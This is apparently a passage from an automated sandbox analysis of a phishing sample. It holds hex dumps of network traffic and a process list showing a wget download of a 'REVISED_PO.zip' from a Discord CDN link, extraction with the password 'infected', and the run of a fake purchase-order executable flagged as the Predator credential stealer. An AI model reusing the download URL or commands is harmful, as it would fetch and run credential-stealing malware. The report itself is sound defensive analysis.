XFg- 1):#jvr0D8pmT-27ytq\Wkee3\|/#0;Xt\|HT<FD_aQ1w'$,R@g5m3LEPP\|?XcQ=<hCw_3hm{s
2023-02-22 08:42:08 UTC	673	IN	Data Raw: 8b d4 c0 1e 7e f8 0a 23 96 90 84 ea ad a5 c4 69 f8 32 57 31 0c 39 89 12 1e dd fb df eb 77 32 d9 33 59 81 a3 03 16 70 da 6a 08 41 13 f3 30 e9 be 86 d8 c8 a3 0c ab 5f c0 57 81 75 3e f4 48 e4 c8 05 35 96 1e 6a a5 a0 27 8c ec 5f 59 bc 38 1f ce c4 b1 a2 bc 90 8b 45 2f 44 1d 77 cf ab c4 9b 2a d3 fe a9 9c c8 9f 3e 3c 3d 3e 99 39 4b fe b2 7f e0 47 2e 2d f1 a5 be c9 8a 93 29 d6 6c b3 f9 df 7f 31 96 a0 f1 f5 36 4b 34 e0 8e 88 1c 57 22 5d b9 b7 f6 3e 83 26 ed 60 5f 4e 38 63 a3 1e 72 3a de 10 8b e7 67 68 4a 6f 46 58 fa 1f 53 05 66 b5 5e 66 10 af f6 f5 47 27 e3 28 71 0f 42 71 d3 bf 80 7f 91 1b 67 85 4b b9 a3 d3 17 e9 0e 79 4e 08 2b 71 cb a0 89 4f ab 2a f1 3a f6 0c 03 1f 35 02 ba 75 39 d1 e9 c0 a9 c6 57 4c d3 3d 8a 4b 4c 0c a6 4d 63 30 90 69 64 c3 0a 6d ea 02 e5 50 ff Data Ascii: ~#i2W19w23YpjA0_Wu>H5j'_Y8E/Dw><=>9KG.-)l16K4W"]>&`_N8cr:ghJoFXSf^fG'(qBqgKyN+qO:5u9WL=KLMc0idmP
2023-02-22 08:42:08 UTC	689	IN	Data Raw: 04 52 60 d8 2e 90 05 49 8a ff aa 73 fd ef 19 4e 3b ea b3 63 e1 1e 8e ee 4b 67 52 d3 75 3e 8c 7b 47 45 f8 39 fa dd 5e cf b9 0f 0d ec 3d 25 4e f9 52 25 0e 8c 59 85 c9 bc 83 e8 a7 26 a2 bc 29 9a c8 57 39 fc d6 e9 a6 5a eb 2d 9e e6 b9 04 26 3e e5 e3 b9 67 78 04 ae 24 eb da 1a 1e ef 1f 45 7d c6 4a 86 fa ce 47 6c 93 28 b3 a7 e7 b2 62 8c 01 49 c7 5f e2 ef 1e c9 36 a7 a5 b4 2e f6 40 d4 40 60 d9 85 62 02 58 bc 80 c7 37 3d 84 3f 1b f2 f7 aa 0c d4 e4 b2 ec 52 3d 07 24 5f 83 e2 20 8c 16 a8 30 fa b1 21 43 b5 2e 30 e9 68 30 35 fa 87 29 f5 7a c5 e6 47 af b0 de 2c c8 84 d0 22 42 27 65 50 63 6b c9 00 63 4d 1e e5 f9 61 50 fd 7f 9f 28 d6 63 e3 1b 65 56 e4 7a 31 24 47 00 02 ea 95 74 75 66 fe ef 97 e0 a6 4b cf d0 5a 71 8f 4d 15 3e ec 8e 88 60 d7 b4 1e 1c 7f 94 23 74 f3 07 f7 Data Ascii: R`.IsN;cKgRu>{GE9^=%NR%Y&)W9Z-&>gx$E}JGl(bI_6.@@`bX7=?R=$_ 0!C.0h05)zG,"B'ePckcMaP(ceVz1$GtufKZqM>`#t
2023-02-22 08:42:08 UTC	705	IN	Data Raw: dc 7f 8f 90 ea dc 8d 2f 1d 9c 2f 78 c2 7a 27 35 da 1d b7 d0 b5 39 87 fb 8e 07 50 f8 99 cf d0 35 89 3c 0e 1b cb 7b 63 57 94 da 36 d2 4f 6a 2a f2 5d f7 69 99 71 85 65 76 23 c8 50 59 86 db a4 89 68 0d 88 c3 ea cf 05 16 f8 5f 22 b0 fe 01 f3 ea 33 59 7f fe 3a e9 b3 bd 39 7a ee 01 de 21 9d 58 a6 fd 87 c8 93 20 0c 27 0b f3 3d f5 38 ab cd 92 99 9d 22 28 c1 a9 2f 58 57 ed 8f d7 ab 2e 46 f7 bf c3 f9 5f a3 d9 9b b6 94 05 75 63 78 58 27 30 89 af 3d d8 eb 7c 45 55 bb 81 60 b3 87 18 de f3 60 fb be 46 26 18 79 73 27 2a 83 d8 7e ee 44 2d d3 40 fa ed 4e d6 55 f4 60 b5 f6 2b 91 13 b6 10 32 c8 0c 97 92 14 b6 3d da 4a c7 75 19 76 ff 18 89 e4 7f 1a 6c 72 8a e0 97 91 24 8b 65 73 e8 b8 a6 cc 68 e7 50 be 4c 19 47 c9 16 3d 84 8d 4c a9 b2 3b 87 66 d1 67 c4 7e 88 f0 7a cb 60 dc 4f Data Ascii: //xz'59P5<{cW6Oj]iqev#PYh_"3Y:9z!X '=8"(/XW.F_ucxX'0=\|EU``F&ys'~D-@NU`+2=Juvlr$eshPLG=L;fg~z`O
2023-02-22 08:42:08 UTC	721	IN	Data Raw: a9 c5 18 ed b1 74 dc 8e a5 7a c5 48 ee 3f 0b a0 ec 81 19 43 65 d5 08 fe dc 8a ba 53 19 47 e7 cd 64 8c 5e 02 f2 76 ea f4 1b 51 81 47 e4 6a f6 f9 68 f0 ae 46 87 ed 02 ad 6b 38 69 a2 97 be 86 e2 b5 03 18 f4 20 9a ab 82 59 fd e8 70 24 3b c3 95 47 1b a7 70 5a 39 9c e0 d1 b9 a4 a9 5b e1 18 dd 4e 55 a9 3d 7b 8d 1e 73 3d 27 1b 8d 3f 46 5c 36 35 a7 48 6c 27 4e d3 3c 98 db b7 88 3e 8b 02 c8 9f 64 c8 bd 73 e7 d9 59 ae 4d 87 74 38 fd 8a 7d f9 76 26 01 ab 02 1d 74 da 0e 92 57 36 8d c7 e7 5c f1 db 1e 49 d7 40 1b 74 ce ee 23 b1 df 28 cc 56 87 13 d6 57 1f eb 8a 85 28 57 ec 27 ed e9 4a 64 8e 74 b2 51 ec 30 e7 ba b4 e9 ff e2 35 65 fd 07 60 15 e5 49 d7 a0 bf 04 cd 11 23 5f d3 0a 13 0b 19 c6 d6 bd e3 cc b2 d9 9c ee 5e cd 78 c7 10 16 cf ea 44 ce 74 2c 72 9f 6d 39 64 be 89 69 Data Ascii: tzH?CeSGd^vQGjhFk8i Yp$;GpZ9[NU={s='?F\65Hl'N<>dsYMt8}v&tW6\I@t#(VW(W'JdtQ05e`I#_^xDt,rm9di
2023-02-22 08:42:08 UTC	737	IN	Data Raw: bf f2 b2 6f 05 e7 df 88 b4 a1 72 40 7d 1b 8d 9e e3 55 39 fa e8 d2 f0 79 20 43 bf ed fb ec 38 57 9c f8 09 ba 62 70 42 bb ff 19 95 da bd e6 c4 4f ce 9d 58 45 f3 8f 19 f7 1a 4f a4 ec f8 2f c7 7d ef 7e d7 0d 3b d8 f2 79 2b 2d 04 fe e5 fe d5 a3 59 b6 ab 9c 17 12 63 43 49 e3 43 b5 22 65 ad ad de cc 98 8f d7 bb 2e 81 d8 2c 4e 7e b1 64 42 2a 8f 12 b0 fd bc a4 75 f8 c0 a5 97 61 d3 d2 be 2d 3f a3 6f fd 5a 8b 3d fd 81 93 ba e3 ec de 7f f6 5e 1f ba b4 56 72 7a f6 92 5c 27 7d 55 d4 b1 d3 77 a2 f0 d4 a9 8e 90 33 0f 5b 99 7f fd e1 92 9d 4c c1 31 8b 12 8f f7 c8 a3 63 78 67 78 65 9c 78 2f c9 50 e6 3c 15 e9 55 5d c4 e4 b5 d6 44 c6 d6 11 78 7e d9 b9 70 96 38 c5 39 85 4f cd 20 c6 10 3e 73 75 6e 12 9d 2f e1 e3 fb 46 d0 3a 6b 84 49 78 c4 23 ab ba e2 39 42 53 e3 e4 53 01 34 33 Data Ascii: or@}U9y C8WbpBOXEO/}~;y+-YcCIC"e.,N~dB*ua-?oZ=^Vrz\'}Uw3[L1cxgxex/P<U]Dx~p89O >sun/F:kIx#9BSS43
2023-02-22 08:42:08 UTC	753	IN	Data Raw: 08 3d 17 bf db 63 b7 ac 12 a8 e5 8c 76 bc f5 74 69 10 77 96 26 16 fa 26 3a 17 0c 42 ae 82 3e 69 a4 a1 15 a7 20 b3 d4 78 a2 16 8d 2c ec b4 60 ad 74 57 25 16 2f 49 a8 e6 dc 7a 5b d0 82 be cd 2e e7 6b e2 1b 3f 7b d9 49 0c 62 68 64 4e c7 c9 0d e7 a7 ef 15 91 2d 6d 5f 5b 33 9d 1f 3c 8d e8 0e 52 72 8d 71 65 c3 b2 b8 28 d4 47 dd 81 19 56 c0 54 71 f2 0a 2e 18 de 57 eb d0 96 78 15 80 f1 01 fa 66 1c e4 43 16 0e f0 6c 0c 93 88 a8 11 2e 3c 7c 93 34 93 19 63 ba 18 d0 31 7d 4e cb d0 db c8 13 30 a5 5e ac 94 e3 b9 97 f3 8c d4 98 5e 2b 5d eb dd 34 56 69 68 16 37 ca a1 fe d9 2c 23 31 1c d7 da b7 3a e9 ea ba f1 ea 33 4e 01 67 2d bd 95 7f ef 75 18 3c 68 80 b8 b7 ea af 8a fa 1a 6c 4a e8 25 47 13 22 34 4c e4 11 5e 57 ce b9 7b 67 8b 89 b8 5d 36 61 29 b6 05 43 9c 37 a6 a9 6a ab Data Ascii: =cvtiw&&:B>i x,`tW%/Iz[.k?{IbhdN-m_[3<Rrqe(GVTq.WxfCl.<\|4c1}N0^^+]4Vih7,#1:3Ng-u<hlJ%G"4L^W{g]6a)C7j
2023-02-22 08:42:08 UTC	763	IN	Data Raw: b2 65 fd f3 d2 d7 29 cc 4e fc c5 be a9 da 53 53 61 89 9a 12 17 9e 98 a4 be 38 7c 2c 93 54 3f 0c 23 05 07 bd 2b 98 52 cb 92 11 8d de e1 bd d5 95 bc b2 92 d5 78 3d 66 da a7 31 6a e3 83 5b 26 34 a2 0b 8a a8 f3 96 f6 5b a4 84 cc cf 30 96 7d 98 5c 70 4c ca 07 e7 c8 e4 06 02 c4 5b e5 1f 6b 31 ad 76 fc e1 c1 9a ec bc 86 5b d7 ee 36 f1 d3 1f ae 29 13 26 2e df b5 98 ca 41 95 52 fe fc cc 3e 4a a1 b7 3b df 68 71 a8 da be e3 6a 50 0d 34 7a 19 67 cd b6 a9 39 59 5c f4 f1 e1 98 0f ef 67 d8 7e d7 52 dc 3a 5c 4b 2f 5e b8 78 0d fe 17 3c 38 73 d4 91 d2 1b c6 84 98 dc a7 f2 8b a5 fa 1b ed 81 db 25 45 e9 af 6d 9e ac 7e c1 3e b9 6d ff ad 80 f0 57 b0 5f 82 6f c7 7f 4e 9f fe ed 28 ae 76 fb be 6e ce 89 27 c7 41 31 c1 bf 0a 3c af 55 f6 d4 8f 37 67 8a ce 1c 8d 1d 8e 80 bb 18 f7 dc Data Ascii: e)NSSa8\|,T?#+Rx=f1j[&4[0}\pL[k1v[6)&.AR>J;hqjP4zg9Y\g~R:\K/^x<8s%Em~>mW_oN(vn'A1<U7g
2023-02-22 08:42:08 UTC	779	IN	Data Raw: 41 67 79 7d 97 02 dd 79 80 54 23 43 a3 45 0a 93 19 2c e8 10 75 ab fb 22 b0 f5 74 92 d5 79 e0 c6 45 22 fa 4b 5b cd 64 81 6a c4 6c 25 7d ef 88 62 b2 a6 6f a3 a0 4d e1 aa 2c a0 a4 62 84 1a fd 10 e3 cc 48 5d 0b ab 65 2f c8 a4 dd 80 c8 8d dd 67 e7 62 d9 87 28 20 6f 01 64 5d be e8 0b 72 dd 56 9e e4 7b ec 93 dd 11 d5 1c ea 06 10 60 f6 1e 29 79 f0 5c 77 d3 cf 8f a6 34 08 9f 7a 8b f9 9b c6 c8 e7 65 cf 13 61 02 04 9d d3 a6 01 b0 11 6c e6 35 f2 a9 63 4c 4d 3e 9d 10 91 51 5f 9a 14 8f 95 a8 54 b0 52 56 d6 7b 88 77 a0 1d cd 08 9d 2d e3 27 40 84 13 a3 87 f2 79 99 fa 20 4e e2 3b ec 9a 44 7d 50 dc 2d df 62 9a 57 d7 99 28 9a a6 7c f1 4f 8a 56 2d fa 47 11 c3 df 02 29 c4 1b 09 71 6d 57 53 11 2c bc 95 c0 cf 17 80 4a bf 27 da ce 65 9d dd a9 8b 07 ba 8f ec 04 a4 13 68 38 91 ad Data Ascii: Agy}yT#CE,u"tyE"K[djl%}boM,bH]e/gb( od]rV{`)y\w4zeal5cLM>Q_TRV{w-'@y N;D}P-bW(\|OV-G)qmWS,J'eh8
2023-02-22 08:42:08 UTC	795	IN	Data Raw: df 91 13 57 15 d2 bf 10 6c 5f 87 44 3f ea dc f9 b9 48 cd ee 4b 45 77 79 9b 19 cb a6 21 17 24 2b 0a fa 77 fe dc e9 86 f3 a0 0a c4 cc 02 ce c0 89 47 d3 7a 0d 8b 52 56 ea da 9f 7d 7d af 22 08 f2 85 a4 9c 44 52 09 76 71 6c 54 29 ab 33 2e 6e 9a 37 4c 17 7f da 9d 93 10 f6 c9 d2 a3 f0 7b 18 63 c5 fd ec 05 05 ee 9e 0d a8 74 bd e0 6f bd d2 b4 1c be c2 6f 4b 79 fd 6b a3 fe 1f af fe 7c 3d 10 47 d1 0a cf 86 36 75 23 57 bd cf 28 da ad fa 04 4c ce d3 47 22 f3 a1 7b df 17 d9 bd ab 11 01 5d b5 15 60 a7 bf 8b 34 95 40 2f 65 0c 00 a8 89 d9 a0 09 83 97 5e 9b 18 09 f1 d9 26 d4 0f 69 a3 2c 17 22 ff 23 9c af 3c 97 30 6b f7 d8 84 61 bb e0 e9 1d 55 ea 0a e4 ff 41 49 01 56 98 fd 6c bd 3b d6 c3 ef dd 3e a2 ec 6a e8 51 23 a2 1f 7d ae 13 80 6e f2 78 d7 05 1e 2a 5e 57 2b 05 0f 5d 0d Data Ascii: Wl_D?HKEwy!$+wGzRV}}"DRvqlT)3.n7L{ctooKyk\|=G6u#W(LG"{]`4@/e^&i,"#<0kaUAIVl;>jQ#}nx*^W+]
2023-02-22 08:42:08 UTC	811	IN	Data Raw: 1f 19 7e 48 dd 89 41 36 3d 58 3d 9d 3a 56 f5 52 54 c4 23 6f e1 58 13 d7 37 96 19 94 64 48 8c 9d 9e 54 3d 7a 35 17 ef 36 41 0d 3f 94 96 15 96 e0 76 bc 55 05 d5 47 be 45 67 32 b4 a0 bd a5 1a 80 70 7b aa 04 65 3e 91 59 37 80 75 05 48 7d e0 76 7d 1e cf 55 5b 4a b5 99 90 02 94 82 f3 33 17 b3 a8 8b 53 65 87 c3 ad a6 ab e1 d7 a1 55 d3 c6 72 f7 c1 1b 4e b0 64 60 50 62 8e 7d 52 49 c5 61 5f 4c b7 d8 35 3f 24 2b f1 30 35 e4 8c 76 f1 fa cb 1d ee e3 dc 7d a0 a3 81 56 09 26 f0 4e cd a9 c2 4f bc 7d 36 8c 1c 3f c9 01 96 8a 89 86 4f f3 1d 80 21 df 9a a1 25 f5 df cf fd fb 43 15 8b c1 7c f8 f2 0d 2e 6c a4 f2 82 d9 6b e4 4e 4d 67 d2 b7 20 b7 57 7f d9 2a 75 de 8e 86 ff 14 75 78 35 a0 c7 9f 73 6c 74 11 59 c9 05 16 5f 2d 4d e5 a8 63 96 9a 5b 3e ae 62 c6 5b f9 fe 4d 3d 1f 5f 35 Data Ascii: ~HA6=X=:VRT#oX7dHT=z56A?vUGEg2p{e>Y7uH}v}U[J3SeUrNd`Pb}RIa_L5?$+05v}V&NO}6?O!%C\|.lkNMg W*uux5sltY_-Mc[>b[M=_5
2023-02-22 08:42:08 UTC	827	IN	Data Raw: ac b0 ba 78 39 e5 48 c9 81 44 5f b3 1d a7 8e ed fb 38 98 1c 2e 7e c5 78 65 cc fd 5e 9d 78 58 b2 db 6d a2 2f 6a ef 43 91 5a d1 67 86 60 d7 8e c7 03 73 1c 6d 96 4c ff b9 e4 6e ef 29 37 d4 45 8b d0 c7 d7 87 eb 4f ce 78 5d 1d 39 62 fb e6 5f bf 6e 3a b5 35 4d 6f dd b5 9e a9 7f 19 fa 3f cc 5a 95 f3 ec bb ae 1c 1a 4e df 43 f3 3a 3c f7 c8 a2 d6 c4 6b 23 b1 b6 cf ef a6 0d 93 5b 73 97 62 2e cd 58 9f bb 69 93 e3 d9 88 3d bf e0 4f 97 d7 ef 2e 9e 6d c6 3c df df 68 fd 60 fe 1b 49 ed ba a7 8f c3 97 18 1f 3e b6 bc 9b 69 47 91 5f f0 bc 45 e9 e9 7f 17 d7 7c e0 d6 45 cb 33 b5 16 9b 1d 6c 83 3d a3 d5 56 cb 02 e5 4b 82 04 e8 34 79 30 c9 fc 2a eb ee 66 7f 64 36 3c 79 fd 7f 12 2b b3 e1 0e 10 e6 e9 20 9a ab 01 5e 66 1e 0f 2c d0 09 84 9d ce 63 75 3e 03 7f 43 02 e7 98 2d e4 ba ce Data Ascii: x9HD_8.~xe^xXm/jCZg`smLn)7EOx]9b_n:5Mo?ZNC:<k#[sb.Xi=O.m<h`I>iG_E\|E3l=VK4y0*fd6<y+ ^f,cu>C-
2023-02-22 08:42:08 UTC	843	IN	Data Raw: 6b cb f4 b0 59 d0 6d e6 47 5d 91 aa be 4d 03 9c ec fd a6 75 72 4f b3 75 2e 20 90 a4 77 ef 2b e7 22 e8 59 44 6c c8 68 38 e0 89 59 e9 29 60 26 b6 49 61 c3 0f 12 04 ee 58 03 04 11 b4 f6 ac 90 37 56 d5 ae c7 3d ca 59 cb b9 1d bd b2 0c f6 b9 d0 fb 4f 9e 92 83 49 fb 86 a0 47 22 a1 18 9c 4f 98 0d fd 98 76 cb 02 ab 2a 09 db 1c ee c6 d3 05 09 6f ec 85 96 f9 67 66 81 3d 20 2b 67 91 9b e0 c8 ce d3 a3 e6 b6 d8 98 f9 5e 75 6e 33 4a d3 c4 91 1f 99 c1 53 3c 75 9f 90 ee e8 a5 ce d4 28 29 3a ee 06 0f d4 91 ee 4f 0f 2e 08 3f 0e b3 40 15 99 86 a9 0e 71 aa c4 47 1f 04 80 bc ed b7 76 e2 1b d6 df f1 83 e4 9b 41 af 28 b2 b9 f5 40 0d f4 5a 1a ae 10 8a 2f 96 69 6c 56 6b 34 5b 0a 38 9e 88 3c 38 4f ca c6 7f 1c 4c 6f 1f f9 bf ee 77 dc 0a ec 5c 39 c0 d6 7f 46 5c ff d3 9b e3 f0 2f 2c Data Ascii: kYmG]MurOu. w+"YDlh8Y)`&IaX7V=YOIG"Ov*ogf= +g^un3JS<u():O.?@qGvA(@Z/ilVk4[8<8OLow\9F\/,
2023-02-22 08:42:08 UTC	859	IN	Data Raw: e2 91 75 2a 0a d6 99 a3 61 c7 b5 d9 5a c2 5b aa 86 a6 34 fc 0a 3f be ac 67 09 02 a1 f7 9a 38 ab db 5c 75 4f d9 fc 5a 2d e2 00 f4 14 ef 26 fb dd dc 8d d3 06 c5 cc 2b 57 62 06 9f ce d9 8c 23 9a 6d 7d ca d3 10 44 08 82 68 2a 5a 79 d3 16 63 67 91 28 8b 2f e4 63 03 05 14 f4 cf c6 7f b1 77 8a a7 6a 38 34 e8 36 42 d3 21 21 19 13 79 7e ce 2a 83 7b d5 29 eb 33 85 bc 14 08 1c cb a2 2e 8a 8a 99 ac b0 24 6c 6f da 0d b0 c8 57 11 4a 49 88 74 c9 1b c2 f1 b3 20 05 44 b4 03 30 5e e8 7b 66 89 3e ba 4c 12 42 9f b6 7b 78 e4 22 42 06 83 3e 43 69 dc 4d 71 b1 08 27 42 fc 96 9b 75 2f dd 8a 8c b3 a6 d5 59 4d ea 12 38 1a a4 fd 03 ae a3 ed 7d 9f b4 5d a5 9f 93 68 3f 27 79 83 e9 47 e1 6a 5d 2d fd 84 d3 89 96 78 de 87 ae 34 18 c6 86 16 6e b0 da 85 d3 62 dc 57 eb 5b 6c 37 cf c7 59 8d Data Ascii: uaZ[4?g8\uOZ-&+Wb#m}DhZycg(/cwj846B!!y~*{)3.$loWJIt D0^{f>LB{x"B>CiMq'Bu/YM8}]h?'yGj]-x4nbW[l7Y
2023-02-22 08:42:08 UTC	875	IN	Data Raw: f1 1d 8e 7b 00 64 39 13 61 34 68 ef 87 b7 dc 91 57 ba ec f2 8e 8e df e1 2a 59 9e 7b 62 c4 86 fa fb 09 b8 00 2d ae 13 ec 1b ff 04 c2 a6 54 8e 03 6f fa e2 a5 50 09 6f 48 69 9a 2f 78 80 fe 1f 21 bc fc 92 1b ca 2e ac 8b 6d 32 c6 04 22 90 52 5c 9c 73 57 8b 95 11 f2 75 d3 f6 f4 ca 27 a7 80 db 13 25 8c fd 0c 13 e5 0e 53 27 6b 2e e2 3e 18 68 49 8b da ab 7f 1f 82 9f 4c 96 4f ad 49 22 e3 52 51 4a ff 9a bc b4 b9 fc 3c 9e 8a 7f 9c 00 6f db 84 14 54 84 53 4d 33 78 bb 49 3b c6 2b d2 41 2b fe 51 a1 6a 16 4a 50 ad 59 8e 44 21 75 e1 41 a3 45 c1 6d c2 d6 26 f4 fa 85 a6 1a cf 5d e2 f6 d7 9f e0 5c 9f de f4 21 fc 0c c0 bb 5f de cb 61 17 77 47 9f fe 87 32 db 7a e3 48 cc b5 77 d8 67 87 55 cd e2 9a 6f 4f a9 ff f3 ec aa a6 cb 65 b1 f5 ad bf c7 26 b4 23 e8 a7 7e 24 d8 81 bc 73 df Data Ascii: {d9a4hW*Y{b-ToPoHi/x!.m2"R\sWu'%S'k.>hILOI"RQJ<oTSM3xI;+A+QjJPYD!uAEm&]\!_awG2zHwgUoOe&#~$s
2023-02-22 08:42:08 UTC	891	IN	Data Raw: 8c 6d 7e 42 b4 34 51 02 97 4c 4f 9e 69 10 b8 0a 12 72 d4 36 8f 72 22 19 1a 70 86 59 be 4e 1e 2b 0c 13 60 41 9e 59 92 09 7a dd 1a 71 46 b8 4b b6 a2 6e 52 49 e0 a8 36 35 33 16 24 df 4c f3 c8 41 d9 2a 18 39 f2 23 13 88 58 73 06 a5 c6 c3 bc 4e b6 84 51 b7 15 02 60 3f 80 86 69 af 49 f2 b3 39 5a 23 9c 57 e6 79 d9 29 b4 a4 34 24 20 b2 7d e0 d7 95 61 1d 38 1e 29 73 88 fd 6b 63 39 7a 06 30 97 6d 04 07 e8 c6 eb 6a 4b 12 24 62 19 ed c9 54 ac 1e 23 95 de e5 e0 44 f3 40 29 42 06 5b 0b 61 01 6d 6c 6d 3e 80 f9 eb 96 1a 15 de 99 82 b7 27 a2 76 29 d2 72 16 d9 19 f3 53 19 09 d3 5d 85 39 2c de 7d b1 81 70 76 7a c0 25 dd 8d c2 7c 00 21 3d 32 0f 25 f3 e5 a6 62 68 c7 be 9f d7 54 55 f8 ca 7b f2 c6 c4 a2 df e7 20 03 e8 de f8 07 a4 ef 23 4d af 92 86 54 6c bf 63 aa 83 30 04 8a 40 Data Ascii: m~B4QLOir6r"pYN+`AYzqFKnRI653$LA*9#XsNQ`?iI9Z#Wy)4$ }a8)skc9z0mjK$bT#D@)B[amlm>'v)rS]9,}pvz%\|!=2%bhTU{ #MTlc0@
2023-02-22 08:42:08 UTC	907	IN	Data Raw: 74 4e 84 c2 10 db 0b f3 86 20 32 2a 0c ff 89 b5 64 68 77 3a 68 86 cb e0 15 d4 bb 72 4f c1 9d ad 61 8f 28 24 75 91 79 bb 7d ac ef 0a 16 51 14 62 01 5a 15 ab 2c 16 53 8b 69 73 c3 2d a9 ba e3 4b af f1 dd 68 ec 8c aa 37 02 8f c0 e4 08 fd 68 79 4c 66 82 b7 44 20 4f f2 bd e7 39 02 fb 81 e1 3a 54 ca 26 b9 68 a3 aa 76 04 c8 90 51 62 77 17 9f fb e5 9e 0c 4e 21 55 cb d4 08 fe 26 56 41 a1 84 a2 4a 68 29 09 aa b5 b9 bb 37 ef 05 6f 11 fc 3e b3 0d 5e 08 1e 86 2c 4d 2d 61 a6 66 0c 86 a8 39 7e 88 15 07 d6 93 3e 9f a0 8e b9 ff 42 94 fe 03 b8 bd b9 70 31 b0 6e 6f b6 aa a9 cd 5e f8 23 c1 85 a1 43 aa 46 fb d5 ea 0d 47 49 b5 4e 29 c2 f0 08 21 ff 20 11 93 97 ad 49 0c 6b c7 33 b8 81 2a bb 6a 31 b5 3e 2c 37 54 ee ce d8 79 cc 10 12 0b b6 1b de 8f 7a 05 0f cf 08 81 55 49 79 fb c1 Data Ascii: tN 2dhw:hrOa($uy}QbZ,Sis-Kh7hyLfD O9:T&hvQbwN!U&VAJh)7o>^,M-af9~>Bp1no^#CFGIN)! Ik3j1>,7TyzUIy
2023-02-22 08:42:08 UTC	923	IN	Data Raw: ba db d4 18 0f 0c 7e 46 f7 51 d9 7a be ca 7c 99 bb 19 73 3c 83 4a 38 0f 7e 1f 8c fd 68 58 ff 2d 86 a9 a3 82 df a5 1e 9c 3f 7c 0f aa f7 1d 4a 72 3a 5d b4 6a 93 c9 b8 ce 06 75 ea 6d a7 c5 5f 97 7a ea 00 b0 33 be 57 f3 f9 cb f9 5e ce f3 be b8 e3 5d 0b e9 3f c7 18 0c cc fb c1 da 5f f1 f1 f1 ff cb b8 74 63 ba 52 c1 ef 52 8f b0 e4 5f 75 c1 45 4f bc e6 db ef df b1 97 83 fe 35 a7 84 db 80 a8 57 e1 03 32 ba 17 f8 cb 7e 5d 7f d8 9b 95 f7 32 77 3d 6f 33 a1 be c7 9a 0f 58 f7 09 6b bf 7c f1 c5 17 cb 18 97 28 a6 76 0a 7e 97 7a 84 25 ff 83 87 9d 7c bd 05 5f fc 31 b6 ff d9 d7 8b 39 23 d8 b7 46 fe bf e6 d4 fb 60 04 a1 6d 66 24 f8 6c cc be d3 4b dc 47 dc 0b 63 7d 90 e7 c1 1f f3 fe 37 6e dc f8 fb 83 0f 3e 78 13 e3 f2 27 15 bc cb 70 70 fe 48 a7 aa 77 1e 2a 72 38 5c b4 72 83 Data Ascii: ~FQz\|s<J8~hX-?\|Jr:]jum_z3W^]?_tcRR_uEO5W2~]2w=o3Xk\|(v~z%\|_19#F`mf$lKGc}7n>x'ppHw*r8\r

Target ID:	0
Start time:	09:42:07
Start date:	22/02/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.zip" > cmdline.out 2>&1
Imagebase:	0xb0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	1
Start time:	09:42:07
Start date:	22/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	2
Start time:	09:42:07
Start date:	22/02/2023
Path:	C:\Windows\SysWOW64\wget.exe
Wow64 process (32bit):	true
Commandline:	wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.zip"
Imagebase:	0x400000
File size:	3895184 bytes
MD5 hash:	3DADB6E2ECE9C4B3E1E322E617658B60
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	3
Start time:	09:42:09
Start date:	22/02/2023
Path:	C:\Windows\SysWOW64\7za.exe
Wow64 process (32bit):	true
Commandline:	7za x -y -pinfected -o"C:\Users\user\Desktop\extract" "C:\Users\user\Desktop\download\REVISED_PO.zip"
Imagebase:	0x1210000
File size:	289792 bytes
MD5 hash:	77E556CDFDC5C592F5C46DB4127C6F4C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	4
Start time:	09:42:09
Start date:	22/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	5
Start time:	09:42:10
Start date:	22/02/2023
Path:	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
Imagebase:	0x370000
File size:	1287168 bytes
MD5 hash:	59E7D6D4CC9667A0D6E06DA8131CDD4D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_Predator, Description: Yara detected Predator, Source: 00000005.00000002.295331963.0000000003839000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.295331963.0000000003839000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Predator, Description: Yara detected Predator, Source: 00000005.00000002.295331963.0000000003915000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.295331963.0000000003915000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Target ID:	6
Start time:	09:42:22
Start date:	22/02/2023
Path:	C:\Windows\SysWOW64\schtasks.exe
